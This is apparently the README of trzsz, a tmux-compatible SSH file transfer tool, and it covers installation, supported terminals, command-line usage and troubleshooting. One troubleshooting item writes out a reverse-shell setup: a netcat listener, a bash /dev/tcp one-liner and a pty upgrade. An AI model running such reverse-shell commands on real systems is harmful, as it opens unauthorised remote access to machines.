trzsz

trzsz ( trz / tsz ) – Modern rz / sz Alternative with tmux Support

trzsz ( trz / tsz ) is a simple file transfer tool for SSH terminals, similar to lrzsz ( rz / sz ) but compatible with tmux.

How to use

1. Install trzsz ( trz / tsz ) on the server. go, py and js versions are compatible with each other.

2. Use supported terminal on local. Use trzsz-ssh ( tssh ) on local shell, or refer to Supported Terminals below.

3. Use the trz ( similar to rz ) to upload files, and use the tsz ( similar to sz ) to download files.

Why to do

• Considering laptop -> hostA -> hostB -> docker -> tmux, using scp or sftp is inconvenience.

• In this case, lrzsz ( rz / sz ) is convenient to use, but unfortunately it’s not compatible with tmux.

• tmux is not going to support rz / sz ( 906, 1439 ), so trzsz ( trz / tsz ) was developed.

Advantage

• Support tmux, including tmux normal mode, and tmux command mode integrated with iTerm2.
• Support transfer directories, trz -d to upload directories, tsz -d xxx to download xxx directories.
• Support breakpoint resume, trz -y or tsz -y xxx overwrite exiting files will auto resume from breakpoint.
• Support Windows server, not only can run on Windows client, but also can run on Windows ssh server.
• Support native terminal, does not require terminal to support, just use trzsz ssh x.x.x.x to login.
• Support web terminal, transfer files and directories between local and remote servers over the web.
• Support drag to upload, drag and drop files and directories to the terminal to upload to the remote server.
• Support progress bar, shows the current transferring file name, progress, size, speed, remaining time, etc.
• Better interactive experience, shows the transfer results or errors friendly, ctrl + c to stop gracefully.

Installation

On the server

• Install the Go version ( ⭐ Recommended )

  Please check the Go version installation guide: https://trzsz.github.io/go

• Or install with Python3

  sudo python3 -m pip install --upgrade trzsz
  

• Or install with Python2

  sudo python2 -m pip install --upgrade trzsz
  

• Or install with Homebrew

  brew update
  brew install trzsz
  

• Or install with Node.js

  sudo npm install -g trzsz
  

  Can be installed without sudo, just add the installation path ( e.g. ~/.local/bin ) to the PATH environment.

Supported Terminals

• trzsz-ssh ( tssh ) – simple ssh client with trzsz support ( ⭐ Recommended ).

• iTerm2 – check the trzsz-iterm2 installation.

• tabby – install the tabby-trzsz plugin.

• electerm – upgrade to 1.19.0 or higher.

• ttyd – upgrade to 1.7.3 or higher, and start with -t enableTrzsz=true, use https unless localhost.

• trzsz-go – supports all terminals that support a local shell.

• trzsz.js – making webshell in browser and electron terminal supports trzsz.

  Does your terminal supports trzsz as well? Please let me know. I would love to have it on the list.

Trzsz Manual

trz upload files to the remote server

usage: trz [-h] [-v] [-q] [-y] [-b] [-e] [-d] [-B N] [-t N] [path]

Receive file(s), similar to rz and compatible with tmux.

positional arguments:
  path               path to save file(s). (default: current directory)

optional arguments:
  -h, --help         show this help message and exit
  -v, --version      show program's version number and exit
  -q, --quiet        quiet (hide progress bar)
  -y, --overwrite    yes, overwrite existing file(s)
  -b, --binary       binary transfer mode, faster for binary files
  -e, --escape       escape all known control characters
  -d, --directory    transfer directories and files
  -r, --recursive    transfer directories and files, same as -d
  -B N, --bufsize N  max buffer chunk size (1K<=N<=1G). (default: 10M)
  -t N, --timeout N  timeout ( N seconds ) for each buffer chunk.
                     N <= 0 means never timeout. (default: 20)

tsz download files from the remote server

usage: tsz [-h] [-v] [-q] [-y] [-b] [-e] [-d] [-B N] [-t N] file [file ...]

Send file(s), similar to sz and compatible with tmux.

positional arguments:
  file               file(s) to be sent

optional arguments:
  -h, --help         show this help message and exit
  -v, --version      show program's version number and exit
  -q, --quiet        quiet (hide progress bar)
  -y, --overwrite    yes, overwrite existing file(s)
  -b, --binary       binary transfer mode, faster for binary files
  -e, --escape       escape all known control characters
  -d, --directory    transfer directories and files
  -r, --recursive    transfer directories and files, same as -d
  -B N, --bufsize N  max buffer chunk size (1K<=N<=1G). (default: 10M)
  -t N, --timeout N  timeout ( N seconds ) for each buffer chunk.
                     N <= 0 means never timeout. (default: 20)

Trouble shooting

• If tmux is running on the local computer.

  • Option 1: Use tmux -CC integration with iTerm2, please refer to iTerm2 tmux Integration.
  • Option 2: Install trzsz-go on the local computer, use trzsz ssh to login after tmux.
  • Option 3: Install trzsz-ssh on the local computer, use tssh to login after tmux.

• If tmux is running on the jump server.

  • Option 1: Use tmux -CC integration with iTerm2, please refer to iTerm2 tmux Integration.
  • Option 2: Install trzsz-go on the jump server, use trzsz -r ssh to login after tmux.
  • Option 3: Install trzsz-ssh on the jump server, use tssh to login after tmux.

• If an error occurs, and trzsz is hanging up.

  • Press control + c to stop trz or tsz process on the server.
  • For iTerm2 users, press command + option + shift + r to stop iTerm2 Coprocesses.

• If trz -b binary upload fails, and login to server using telnet or docker exec.

  • Try to escape all known control characters, e.g., trz -eb.

• If trz -b or tsz -b binary transfer fails, and login to server using expect.

  • Try to export LC_CTYPE=C before the expect script. e.g.:

    #!/bin/sh
    export LC_CTYPE=C
    expect -c '
      spawn ssh xxx
      expect "xxx: "
      send "xxx\n"
      interact
    '
    

• If you want to upload and download using trz / tsz in a reverse shell, you need to follow these steps:

  • 1. Use tssh xxx or trzsz ssh xxx to log in to the server.
  • 2. Execute nc -lnv 1337 on the server, and wait for the reverse shell connection.
  • 3. Reverse connect to the server on the target, such as bash -i >& /dev/tcp/192.168.0.1/1337 0>&1.
  • 4. Follow these steps in the reverse shell:
    • 4.1. Convert to an interactive shell, such as python3 -c 'import pty; pty.spawn("/bin/bash")'.
    • 4.2. Press ctrl + z to turn the reverse shell into background.
    • 4.3. Execute stty raw -echo; fg to disable the echo of the server, and return to the reverse shell.
    • 4.4. Press the Enter key, and the command line prompt will be displayed.
    • 4.5. Set the terminal environment variable export TERM=xterm-256color ( not necessary ).
    • 4.6. Check if there is a TMUX environment variable, clear it with unset TMUX.
    • 4.7. Now you can use trz / tsz to upload and download as normal.
  • 5. After exiting the interactive shell, there will be no echo, type exit blindly to exit the reverse shell.
  • 6. Type reset blindly on the server and press Enter to reset the default settings of the terminal.

Screenshot

Using trzsz in iTerm2 with text progress bar

Using trzsz in iTerm2 with zenity progress bar

Using trzsz in tabby with tabby-trzsz plugin

Contact

Feel free to email the author [email protected], or create an issue. Welcome to join the QQ group: 318578930.

Sponsor

❤️ Sponsor trzsz ❤️, buy the author a drink 🍺 ? Thank you for your support!